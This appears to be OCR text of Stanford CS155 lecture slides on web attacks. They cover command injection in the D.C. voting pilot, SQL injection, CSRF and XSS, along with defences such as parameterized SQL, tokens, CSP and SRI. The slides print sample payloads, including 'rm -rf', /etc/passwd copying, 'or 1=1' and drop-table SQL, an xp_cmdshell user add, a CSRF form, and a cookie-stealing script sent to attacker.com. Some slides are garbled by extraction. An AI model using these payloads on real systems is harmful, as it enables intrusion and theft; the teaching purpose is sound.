Web Attacks **CS155 Computer and Network Security**



Stanford University



OWASP Ten Most Critical Web Security Risks

OWASP Top 10 - 2013

- A1 Injection
- A2 Broken Authentication and Session Management
- A3 Cross-Site Scripting (XSS)
- A4 Insecure Direct Object References [Merged+A7]
- A5 Security Misconfiguration
- A6 Sensitive Data Exposure
- A7 Missing Function Level Access Contr [Merged+A
- A8 Cross-Site Request Forgery (CSRF)
- A9 Using Components with Known Vulnerabilities

A10 – Unvalidated Redirects and Forwards

		OWASP Top 10 - 2017
	→	A1:2017-Injection
t	→	A2:2017-Broken Authentication
	3	A3:2017-Sensitive Data Exposure
t	U	A4:2017-XML External Entities (XXE) [NEW]
	3	A5:2017-Broken Access Control [Merged]
	7	A6:2017-Security Misconfiguration
4]	U	A7:2017-Cross-Site Scripting (XSS)
	×	A8:2017-Insecure Deserialization [NEW, Community]
		A9:2017-Using Components with Known Vulnerabilities
	×	A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]

Command Injection

The goal of command injection attacks is to execute an arbitrary command on the system. Typically possible when a developer passes unsafe user data into a shell.

Example: head 100 — simple program that cats first 100 lines of a program

int main(int argc, char **argv) { char *cmd = malloc(strlen(argv[1]) + 100) strcpy(cmd, "head -n 100 ") strcat(cmd, argv[1]) system(cmd);

Command Injection

Source:

int main(int argc, char **argv) {
 char *cmd = malloc(strlen(argv[1]) + 100)
 strcpy(cmd, "head -n 100 ")
 strcat(cmd, argv[1])
 system(cmd);
}

Normal Input:

./head10 myfile.txt -> system("head -n 100 myfile.txt")

Command Injection

Source:

int main(int argc, char **argv) { char *cmd = malloc(strlen(argv[1]) + 100) strcpy(cmd, "head -n 100 ") strcat(cmd, argv[1]) system(cmd); }

Adversarial Input:

./head10 "myfile.txt; rm -rf /home" -> system("head -n 100 myfile.txt; rm -rf /home")

Python Popen

Most high-level languages have safe ways of calling out to a shell.

Incorrect:

import subprocess, sys subprocess.check_output("head -n 100 %s" % sys.arv[1], shell=True)

Correct:

import subprocess, sys subprocess.check_output(["head", "-n", "100", sys.argv[1]])

allow overseas absentee voters to cast their ballots over the web.

during which anyone was invited to test the system.

- In 2010, Washington, D.C. developed an Internet voting system intended to
- Prior to its production deployment, they held a public trial: a mock election



(a) Select online or postal voting

Digital Vote-by-M		
DC Specific Election November 2, 2010	Digital Vote-by-Mail Service Here are the steps you will follow to complete your ballot. Or steps, click Continue.	tce you have reviewed the
1	Check In	Enter name, ZIP code, voter ID number, and PIN
2	Confirm Identity	Confirm your identity Affrm voting sligibility Review attestation document (optional)
3	Complete Ballo	Dewnload your ballot View your ballot Mark your ballot Save your ballot (Do NOT rename the file.)
4	Send Ballot	Locate your ballot on your computer Upload your ballot Receive notice of ballot receipt
Key Dates October 1 Vote-by-Itali service begins	Complete instructions for the Digital Find out more about Vote-by-Mail Service. digital ballot return (Back Continue t D.C. Digital Vote-by-mail, and the pilet project.
October 22 Last day to apply for a Vote-by-Itail Ballot	District of Columbia Digital Vote-by-Mail Service About He	tip Security Contact
November 2 Last day to return your ballot (by mail, must be postmarked by 5:00 pm EST)		
Last day to return your ballot (via internet by 5:00 pm EST)		

(b) Overview of steps



(e) Download blank ballot

D	Official Ballot strict of Columbia Mock Election PRECINCT 22 September 17, 2010	
1. TO VOTE YOU MUST DARKEN THE OVAL TO candidate indicates a vote for that candidate. 2. Use only spenci or black or tabloc maduum ball j 3. If you make a matsiae DO NOT ERASE. Ask to 4. For a White-in candidate, white he name of the j	INSTRUCTIONS TO VOTER THE LEFT OF YOUR CHOICE COMPLETELY. An oval darkened to the left of t oint pan. a new ballot. erson on the line and darken the oval.	te name of any
DELEGATE TO THE U.S. HOUSE OF REPRESENTATIVES	AT-LARGE MEMBER OF THE UNITED STATES REP CO	RESENTATIVE
(C) Alice Example	() Joan E	• • Search Downloads
() Bob Example Benublican	() Kimber Organize * New folder	
() Carol Example Statehood Green	Liam E × Favorites	No items match your search.
) or write-in	or write Desktop Downloads	
MAYOR OF THE DISTRICT OF COLUMBIA	MEMBER OF TH	
() Duane Example Republican	Mary E Cibraries Republic Documents	
() Edward Example Democratic	Nitan E Music Democi Pictures	
Frances Example Statehood Green) Odell E R Videos * Stateho	
() or write-in	Or write File game: 222500505050500000000 Save as type: Adobe Acrobat Documen	t
CHAIRMAN OF THE COUNCIL Vote for not more than (1)	MEMBER OF S EDUCATIO	Save Cancel
Gregory Example Statehood Green Helen Example Republican	Vete for not Abigail Example Republican) Yvonne Example	

(f) Mark ballot in PDF reader and save

Digital Vete-by-Wal	Iservice Home
DC Specific Election November 2, 2010	Check In Your name, zip code, and voter D number must match the information we have in your current voter necord. The PNI number must exactly match the number that was provided to you by mail, by the Board of Elections and Ethics. All fields are required.
1 Check In	Check In
2	Pease enter your name, address, and PN. @ Name:
Confirm Identity	Donato Roob
2	Zip Code:
3 Complete Ballot	20009
Sand Ballet	830207764
•	Enter 6-digit Number Provided by BOEE
Key Dates	PIN: 1865C9FE3A067BD4
October 1 Vote-by-Mail service begins	Enter 19-dage human Provide by BOEE
October 22 Last day to apply for a Vote-by-Mail Ballot	Bac
November 2 Last day to return your	
ballot (by mail, must be postmarked by 5:00 pm EST)	Complete instructions for the Digital Vote-by-Mail Service. Find out more about D. C. Digital Vote-by-mail, an digital ballet return pilot project.
Last day to return your ballot (via Internet by 5:00 pm EST)	District of Celumbia Digital Vote-by-Mail Service About Help Security Centact

(c) Authenticate with voter ID / PIN

Confirm Your Identity To vote through the Digital-Vote-y-Wall Service, you must confirm your identity and your eligibility to vote. Select the checkboxes to confirm. You can also review the attestation document that confirms your voting eligibility by clicking on the PDF. (This step is optional.) Keep this page open until you have threshed viewing your attestation document.	
Confirm	
Confirm Your Identity ⊕ Please confirm your identity and voter registration address. If the address shown is increased, you will pear to contact the BOFF to have 8 undeted before you can	
mark your ballot. If the information is correct, check the box.	
Parata Real	_
Lytton Ave, Unit 445	Nex the bor to certify that are the person indicated.
WASHINGTON DC 20009	
	_
Affirm	oneoling the box above. I
Affirm Your Eligibility @ Review the text inline. Check the bax to confirm statements are correct.	is form is true, accurate, an implete to the best of my ownedge, and that i ndenstand that a material indenstand that a material
I swear or affirm, under penalty of perjury, that:	empletion of this document ay constitute grounds for a
1. I am a U.S. citizen, at least 18 years of age, and I = am eligible to vote in the District of Columbia, and	
Review	_
Review Your Attestation Document (Optional Step) @	÷
If you would like to review your attestation document, click the POF icon at the right. The document will open in your default POF viewing application, on top of your web browser.	Attestation PDF
(You do not need to print the document; it is automatically returned when you select the checkbox above.)	
Keep this page open until you have finished viewing your attestation document.	
When you have finished, close the attestation PDF and click continue.	
	<text><text><text><text><text><text><text><text><text><text><text><text></text></text></text></text></text></text></text></text></text></text></text></text>

(d) "Affirm" identity

Specific Election vember 2, 2010	Send Your Ballot To send your ballot electronically, you must find the ballot file and upload it.	
1 Check in	Send Locate Ballot PDF and Send @ On the web page that is open, select the Choose File button to browse for your	
2 Confirm Identity	basis the. In the claudy box that corres up, havgate to the PDP me that you saved in the previous stop, and select that file. Press Send. A confirmation message with Open	
3 Complete Ballot	Your ballet must be received vour ballet can be counted.	4 Search Downloads
4 Send Ballot	Check your ballot status to n Chosee File No file chose Chosee File No file chosee Chosee File No file chosee Chosee File Chosee Chosee File Chosee Chosee File Chosee Chosee Fi	
tober 1 te-by-IIall service pina tober 22 st day to apply for a	Complete instructions for the Vote-by-Mail Service.	
rember 2 it day to return your of (by mail, must be diversed by 5:00 pm	File pame: P22-SMD-04-ANC	C-18.pdf All Files

(g) Upload completed ballot

Cetcle r 2 Last day to ratum your ballot (by mail, must be ballot (b) fail (b)	DC Specific Election November 2, 2010	Ballot Uploaded Your marked ballot has been sent. Thank you for your participation in this election.
Rey Dates Check the status of your balot at any time at the Board of Elections and Ethics website. Key Dates Check the status of your balot at any time at the Board of Elections and Ethics website. Vate-by-Mail service Check the status of your balot at any time at the Board of Elections and Ethics website. October 1 Vate-by-Mail service Degins Check the status of your balot at any time at the Board of Elections and Ethics website. October 2 Last day to return your Last day to return your Employee Former Service EST7 Tell everyone you veted EST9 Encebook Dated of Celembia Digital Vete-by-Mail Service Aboat Heip Security Cented		Thank You!
Key Dates Check the status of your ballot at any time at the Board of Elections and Ethics website. Key Dates October 1 Viste-by-Mail service begins October 2 Last day to return your ballot at any time at the Board of Elections and Ethics website. Rovember 2 Last day to return your ballot at any time at the Board of Elections and Ethics website. Exact day to return your ballot of the status of your ballot at any time at the Board of Elections and Ethics website. Image: State day to return your ballot of the status of your ballot of the status of the status of your ballot of the status of your ballot of the status of the status of your ballot of the status of the statu		Ballot Received 7:28 PM, Oct 01, 2010
Kay Dates Chobber 1 October 1 Degins Decober 22 Last day to apply for a Vote-by-Valla Blokt Vote-by-Valla Blokt Person East day to return your balot (by mail, must be performed by 500 pm EST) Tell everyone you voted Last day to return your balot (chement by 500 pm EST) Tell everyone you voted Datict of Columbia Digital Vote-by-Mail Service About Heip Security Centact Image: Columbia Digital Vote-by-Mail Service About Heip Security Centact		- Check the status of your ballot at any time at the Board of Elections and Ethics website.
October 22 Lask day to apply for a Vote-by-Mail Ballot November 2 Lask day to return your pestimariked by 5:00 pm EST) Lask day to return your ballot (the internet by 5:00 pm EST) Debrict of Columbia Digital Vote-by-Mail Service About Help Security Centact	Key Dates October 1 Vote-by-Mail service begins	
November 2 Ladd day to return your ballot (by mail, must be paramarikad by 5.00 pm EST) Tell everyone you voted Facebook Twitter Ladd day to return your ballot (via hiermet by 5:00 pm EST) Tell everyone you voted Facebook Twitter Diabrict of Columbia Digital Vote-by-Mail Service About Help Security Centact Diabrict of Columbia Digital Vote-by-Mail Service About Help Security Centact	October 22 Last day to apply for a Vote-by-Mail Ballot	
EST) Last day to return your ballot (via Internet by S:00 pm EST) District of Columbia Digital Vote-by-Mail Service About Help Security Centact	November 2 Last day to return your ballot (by mail, must be	
Last day to return your your your you weed in the veryone you weed in the very	EST)	There are a state
District of Columbia Digital Vote-by-Mail Service About Help Security Contact	Last day to return your ballot (via Internet by \$100 pm EST)	reseveryone you voted
		District of Columbia Digital Vote-by-Mail Service About Help Security Contact

(h) "Thank you" screen

System would Encrypt your Ballot

Normal File

run ("gpg" , "-o \"/tmp/out.pdf\" -e -r \"innocuous\" \"/tmp/in.pdf\"")
-> gpg -o "/tmp/out.pdf" -e -r "innocuous" "/tmp/in.pdf"

System would Encrypt your Ballot

run ("gpg" , "-o \"#{File.expand_path(dst.path)}\" -e
_r \"#{@recipient}\" \"#{File.expand_path(src.path)}\"")

Normal File

run ("gpg" , "-o \"/tmp/out.pdf\" -e -r \"innocuous\" \"/tmp/in.pdf\"")
-> gpg -o "/tmp/out.pdf" -e -r "innocuous" "/tmp/in.pdf"

File extension on user uploaded input file was preserved



System would Encrypt your Ballot

run ("gpg" , "-o \"#{File.expand_path(dst.path)}\" -e
_r \"#{@recipient}\" "#{File.expand_path(src.path)}")

Normal File

Single Quotes

Enclosing characters in single quotes (') preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash.

Double Quotes

Enclosing characters in double quotes (") preserves the literal value of all characters within the quotes, with the exception of $, , , \in$ and, when history expansion is enabled, !.

Bash Quotes

Bash Command Substitution

Command substitution allows the output of a command to replace the command itself.

replacing the command substitution with the standard output of the command.

- \$(command) or `command`
- Bash performs the expansion by executing the command in a subshell and

Bash Command Substitution

Single Quotes:

echo '\$(which python)'
\$(which python)

Double Quotes

echo "\$(which python)"
/usr/bin/python

System would Encrypt your Ballot

run ("gpg", "-o \"#{File.expand_path(dst.path)}\" -e -r \"#{@recipient}\" \"#{File.expand_path(src.path)}\"")

Malicious File

run ("gpg", "-o \"/tmp/out.pdf\" -e -r \"innocuous\" \"/tmp/in.pdf\"")

-> gpg -o "/tmp/out.pdf" -e -r "innocuous" "/tmp/in.pdf\$(cp /etc/passwd …)"

What's next?

Stole private key used to encrypt all ballots Revealed all users' votes Changed all past votes Installed malware that changed all future votes Uncovered list of all registered D.C. voters Owned log services to remove any evidence of attacks Modified web app to play University of Michigan fight song Installed rootkit on SSH bastion that allowed access to rest of network Gained root access to all Cisco switches and data center routers Owned network surveillance cameras

D.C. Voting Security Cameras



(a) Voting server rack





(b) Security guard



Command injection oftentimes occurs when developers try to build SQL queries that use user-provided data

Known as SQL injection

SQL Injection



+

Sample PHP:

\$login = \$_POST['login']; \$rs = \$db->executeQuery(\$sql); if \$rs.count > 0 { // success }

\$sql = "SELECT id FROM users WHERE username = '\$login'";

- **Normal: (**\$ POST["login"] = "zakir")
 - \$login = \$ POST['login']; login = 'zakir' \$rs = \$db->executeQuery(\$sql); if \$rs.count > 0 { // success

\$sql = "SELECT id FROM users WHERE username = '\$login'"; sql = "SELECT id FROM users WHERE username = 'zakir'"

Malicious: (\$ POST["login"] = "zakir'")

SELECT id FROM users WHERE username = 'zakir' \$rs = \$db->executeQuery(\$sql);

- \$sql = "SELECT id FROM users WHERE username = '\$login'";

- Malicious: (\$_POST["login"] = "zakir'")
 - \$sql = "SELECT id FROM users WHERE username = '\$login'"; SELECT id FROM users WHERE username = 'zakir'' \$rs = \$db->executeQuery(\$sql); // error occurs (syntax error)

Malicious: "zakir'--" -- this is a comment in SQL

\$sql = "SELECT id FROM users WHERE username = '\$login'"; SELECT id FROM users WHERE username = ''--' \$rs = \$db->executeQuery(\$sql); if \$rs.count > 0 { // success }

Malicious: "zakir'--" -- this is a comment in SQL

\$login = \$ POST['login']; login = 'zakir'

\$sql = "SELECT id FROM users WHERE username = '\$login'"; SELECT id FROM users WHERE username = ''--' \$rs = \$db->executeQuery(\$sql); if \$rs.count > 0 { <- fails because no users found

// success

}

Malicious: " or 1=1 -- " -- this is a comment in SQL

\$login = \$ POST['login']; login = 'zakir'

\$sql = "SELECT id FROM users WHERE username = '\$login'"; SELECT id FROM users WHERE username = '' or 1=1 --' \$rs = \$db->executeQuery(\$sql);

if \$rs.count > 0 {

// success

}

Malicious: " or 1=1 -- " -- this is a comment in SQL

\$login = \$ POST['login']; login = 'zakir'

SELECT id FROM users WHERE username = '' or 1=1 --'

- \$sql = "SELECT id FROM users WHERE username = '\$login'"; \$rs = \$db->executeQuery(\$sql); if \$rs.count > 0 { <- succeeds. Query finds *all* users
- // success

}

Causing Damage

Malicious: '; drop table users --

\$sql = "SELECT id FROM users WHERE username = '\$login'";
 SELECT id FROM users WHERE username = ''; drop table users --'
\$rs = \$db->executeQuery(\$sql);

xp_cmdshell

SQL server lets you run arbitrary system commands!

xp_cmdshell (Transact-SQL)

Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text.

Causing Damage

Malicious: '; exec xp_cmdshell 'net user add badguy badpwd'--

\$sql = "SELECT id FROM users WHERE username = '\$login'"; SELECT id FROM users WHERE username = ''; exec xp cmdshell 'net user add badguy badpwd'--' \$rs = \$db->executeQuery(\$sql);

Never, ever, ever, build SQL commands yourself!

Use:

- * Parameterized (AKA Prepared) SQL
- * ORM (Object Relational Mapper)

Preventing SQL Injection

Parameterized SQL

Parameterized SQL allows you to pass in query separately from arguments

sql = "SELECT * FROM users WHERE email = ?" cursor.execute(sql, ['zakird@stanford.edu'])

sql = "INSERT INTO users(name, email) VALUES(?,?)" cursor.execute(sql, ['Dan Boneh', 'dabo@stanford.edu'])

Benefit: Library/Server will automatically handle escaping data

Extra Benefit: parameterized queries are typically faster because server can cache the query plan

Object Relational Mappers (ORM) provide an interface between native objects and relational databases

users = User.query(email='zakird@stanford.edu') session.add(User(email='dabo@stanford.edu', name='Dan Boneh') session.commit()

ORMS

rue)

ue)

SQLi Summary

statements

This remains a tremendous problem today

- Do not try to manually sanitize user input. You will not get it right.
- Simple, foolproof solution that increases performance: parameterized SQL

- SQL injection attacks occur when you pass un-sanitized user input into SQL

Cross Site Request Forgery
Session Authentication Cookie



POST /login:

username=X, password=Y

cookie: name=BankAuth, value=39e839f928ab79

GET /accounts

cookie: name=BankAuth, value=39e839f928ab79

POST /transfer

cookie: name=BankAuth, value=39e839f928ab79

bank.com



200 SUCCESS

Cookies Sending Review

Cookie Jar:

- 1) domain: bankofamerica.com, name=authID, value=123 2) domain: login.bankofamerica.com, name=trackingID, value=248e 3) domain: attacker.com, name=authID, value=123

Website: bankofamerica.com

Website: attacker.com

Cookies Sending Review

Cookie Jar:

- 1) domain: bankofamerica.com, name=authID, value=123 2) domain: login.bankofamerica.com, name=trackingID, value=248e 3) domain: attacker.com, name=authID, value=123

Website: bankofamerica.com



Website: attacker.com

Cookie 1

Cookie 1

Cookies Sending Review

Cookie Jar:

- 1) domain: bankofamerica.com, name=authID, value=123 2) domain: login.bankofamerica.com, name=trackingID, value=248e 3) domain: attacker.com, name=authID, value=123

Website: bankofamerica.com

 Cookie 1

Website: attacker.com Cookie 3

 Cookie 1

Cookie 1

CSRF GET Request

<html> </html>

GET /transfer?from=X,to=Y

Cookies:

- domain: bank.com, name: auth, value: <secret>

Good News! attacker.com can't see the result of GET Bad News! All your money is gone anyway.

Requests using GET should only retrieve data.

POST The **POST** method is used to submit an entity to the specified resource, often causing a change in state or side effects on the server

HTTP Methods

- **GET** The GET method requests a representation of the specified resource.

CSRF POST Request

<form name=attackerForm action=http://bank.com/transfer> <input type=hidden name=recipient value=badguy> </form>

<script>

document.attackerForm.submit(); </script>

Good News! attacker.com can't see the result of POST Bad News! All your money is gone.

CSRF POST Request



Cookie-based authentication is not sufficient for requests that have any side affect

CSRF Defenses

We need some mechanism that allo — i.e., coming from a trusted page

- Secret Validation Token
- Referer Validation
- Custom HTTP Header
- sameSite Cookies

We need some mechanism that allows us to ensure that **POST** is authentic

Secret Token Validation

bank.com includes a secret value in every form that the server can validate

pat@acme.co			
assword			
Enter Your Passw	ord		
rgot password?		 	

```
<form action="https://
<input type="hidden"
<input type="hidden"
<input
id="login"
type="text"
name="login"
>
<input
id="password"
type="password"
>
<button class="butto
</form>
```

<button class="button button--alternative" type="submit">Log In</button>

Secret Token Validation

Use

Pas

Static token provides no protection (attacker can simply lookup) Typically session-dependent identifier or token. Attacker cannot retrieve via GET because <u>Same Origin Policy</u>

</torm>

- hank com includes a secret value in every form that the server can validate

->

The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed. The header allows servers to identify where people are visiting from.

https://bank.com ->

https://attacker.com ->

Referer Validation

https://bank.com X https://bank.com https://bank.com

. . .

Custom HTTP Header

Same Origin Policy allows:

- Load (but not view) image from different domain
- Sending user to another domain (e.g., redirect or form POST

Same Origin Policy disallows:

 Making XMLHTTPRequests to other domains (unless CORS policy explicitly allows the request)

 \checkmark if we can validate that a request came via XMLHTTPRequests

Custom HTTP Header

You can add custom headers to XMLHTTPRequests that are never sent by the browser itself (e.g., when performing GET for image or POST for form)

Typically use "X-Requested-By" or "X-Requested-With"

sameSite Cookies

Cookie option that prevents browser from sending a cookie along with cross-site requests.

the user will not be able to access the project.

but blocks it in CSRF-prone request methods (e.g. POST).

- Strict Mode. Never send cookie in any cross-site browsing context, even when following a regular link. If a logged-in user follows a link to a private GitHub project from email, GitHub will not receive the session cookie and
- **Lax Mode.** Session cookie is be allowed when following a regular link from

Not All About Cookies

logged in and used their credentials.

Not all attacks are attempting to abuse authenticated user

Prior attacks were using CRSF to abuse cookies. Assumed the user was

Home Router Example

Drive-By Pharming

User visits malicious site n JavaScript at site scans home network looking for broadband router

<img src="192.168.0.1/img/linksys.png" onError=tryNext()

Once you find the router, try to login, replace firmware or change DNS to attacker-controlled server. 50% of home routers have guessable password.

Paypal Login

If a site's login form isn't protected against CSRF attacks, you could also login to the site as the attacker

•••		
-		Log out
Add a bank accoun	t in Philippines	
PayPal protects your bank you make transactions wit	account by keeping yeth this bank account.	our financial information confidential. We email you when
To avoid withdrawal failur your bank account. If the account.	es and return fees, the names don't match, yo	e name on your PayPal account must match the name on ou might be able to <u>change the name</u> on your PayPal
	(Must use Philippine Pes	sos)
Country Only Philippine Peso?	Philippines	
	(P250 PHP return fee if	name doesn't match bank account)
Name on account Names dont match?	Benilda	Cruz
Bank name		
Pank code	(9 digits)	List of bank codes
Bank code		
Account number	(1-16 digits)	
Re-enter account number		
	Continue	Cancel



CSRF Summary

unwanted actions on another web application (where they're typically authenticated)

attacker cannot see the response to the forged request.

Use combination of:

- Validation Tokens (forms and async)
- Custom HTTP Headers (async requests only)
- sameSite Cookies

- Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute
- CSRF attacks specifically target state-changing requests, not data theft since the

Cross Site Scripting (XSS)

Cross Site Scripting (XSS)

and sends it to a web browser without proper validation or sanitization.

Command/SQL Injection

attacker's malicious code is executed on victim's <u>server</u>

Cross Site Scripting: Attack occurs when application takes untrusted data

Cross Site Scripting

attacker's malicious code is executed on victim's browser

<html> <title>Search Results</title> <body> <h1>Results for <?php echo \$_GET["q"] ?></h1> </body> </html>

Search Example

https://google.com/search?q=<search term>

<html> <title>Search Results</title> <body> <h1>Results for <?php echo \$_GET["q"] ?></h1> </body> </html>

Sent to Browser

```
<html>
  <title>Search Results</title>
  <body>
    <h1>Results for apple</h1>
 </body>
</html>
```

Search Example

https://google.com/search?q=apple

https://google.com/search?q=<script>alert("hello world"></script></script></script></script>

<html> <title>Search Results</title> <body> <h1>Results for <?php echo \$_GET["q"] ?></h1> </body> </html>

Sent to Browser

```
<html>
  <title>Search Results</title>
  <body>
 </body>
</html>
```

Search Example

<h1>Results for <script>alert("hello world"></script></h1>

https://google.com/search?

Sent to Browser

```
<html>
  <title>Search Results</title>
  <body>
    <h1>Results for
      <script>window.open(http://attacker.com
  </body>
</html>
```

Search Example

q=<script>window.open(http://attacker.com? ... document.cookie ...)</script>

cookie=document.cookie ...)</script></h1>

Types of XSS

into pages generated by a web application.

Two Types:

page from the victim site.

by the web application, such as a database.

An XSS vulnerability is present when an attacker can inject scripting code

Reflected XSS. The attack script is reflected back to the user as part of a

Stored XSS. The attacker stores the malicious code in a resource managed

Reflected Example

a URL hosted on the legitimate PayPal website.

Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.

Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

- Attackers contacted PayPal users via email and fooled them into accessing



Stored XSS

The attacker stores the malicious code in a resource managed by the web application, such as a database.

Forum Software Reviews • Post a reply - Konqueror	
phoeBB Forum Software Reviews PhpBB3 reviewed by Forum Software Reviews	Search Search Search
🗘 Board index < A new forum < Moderated forum	~A^
User Control Panel (0 new messages) • View your posts	③FAQ ℬMembers ⊕Logout [user]
est topic Post a REPLY	
Subject: Re: Test topic	
B i u Quote Code List List= [*] Img URL Normal ✔ For Hello, <u>this is my post</u> .	nt colour Smilies O O O O O O O

Samy Worm

send Samy a friend request.

In 20 hours, it spread to one million users.

XSS-based worm that spread on MySpace. It would display the string "but most of all, samy is my hero" on a victim's MySpace profile page as well as

NySpace

MySpace allowed users to post HTML to their pages. Filtered out

Missed one. You can run Javascript inside of CSS tags.

- <script>, <body>, onclick,
- <div style="background:url('javascript:alert(1)')">

Filtering

For a long time, the only way to prevent XSS attacks was to try to filter out malicious content.

Validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.

Adopt a 'positive' security policy that specifies what is allowed. 'Negative' or attack signature based policies are difficult to maintain and are likely to be incomplete

Filtering is Really Hard

Large number of ways to call Javascript and to escape content URI Scheme: Samy Worm: CSS

Tremendous number of ways of encoding content

- On{event} Handers: onSubmit, OnError, onSyncRestored, ... (there's ~105)

Google XSS Filter Evasion!

Filters that Change Content

Filter Action: filter out <script Attempt 1: <script src= "...">

src="..."

Attempt 2: <scr<scriptipt src="..."</pre>

<script src="...">

Filters that Change Content

Today, web frameworks take care of filtering out malicious input* * they still mess up regularly. Don't trust them if it's important Do not roll your own.

Stored XSS Patched in WordPress 5.1.1



MARCH 26, 2019 MARC-ALEXANDRE MONTPAS

Content Security Policy

the domains that the browser should consider to be valid sources of executable scripts.

Browser will only execute scripts loaded in source files received from event-handling HTML attributes).

- CSP allows for server administrators to eliminate XSS attacks by specifying
- whitelisted domains, ignoring all other scripts (including inline scripts and



Example: content can only be loaded from same domain

Content-Security-Policy: default-src 'self'

Example CSP 1
Example CSP 2

Allow:

* include images from any origin in their own content, but * restrict audio or video media to trusted providers, and only allow * scripts from a specific server that hosts trusted code.

Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com; script-src userscripts.example.com

Content Security Policy

Administrator serves Content Security Policy via: **HTTP Header** Content-Security-Policy: default-src 'self'

Meta HTML Object

src 'self'; img-src https://*; child-src 'none';">

<meta http-equiv="Content-Security-Policy" content="default-</pre>

Sub Resource Integrity (SRI)

Third Party Content Safety

Question: how do you safely load an object from a third party service?

<script src="https://code.jquery.com/jquery-3.4.0.js" </script>

Problem: if code.jquery.com is compromised, your site is too

MaxCDN Compromise

2013: MaxCDN, which hosted bootstrapcdn.com, was compromised

MaxCDN had laid off a support engineer having access to the servers where BootstrapCDN runs. The credentials of the support engineer were not properly revoked. The attackers had gained access to these credentials.

Bootstrap JavaScript was modified to serve an exploit toolkit



Sub Resource Integrity (SRI)

SRI allows you to specify expected hash of file being included

<script src="https://code.jquery.com/jquery-3.4.0.min.js" </script>

integrity="sha256-BJeo0qm959uMBGb65z40ejJYGSgR7REI4+CW1fNKwOg="

Web Attacks **CS155 Computer and Network Security**



Stanford University

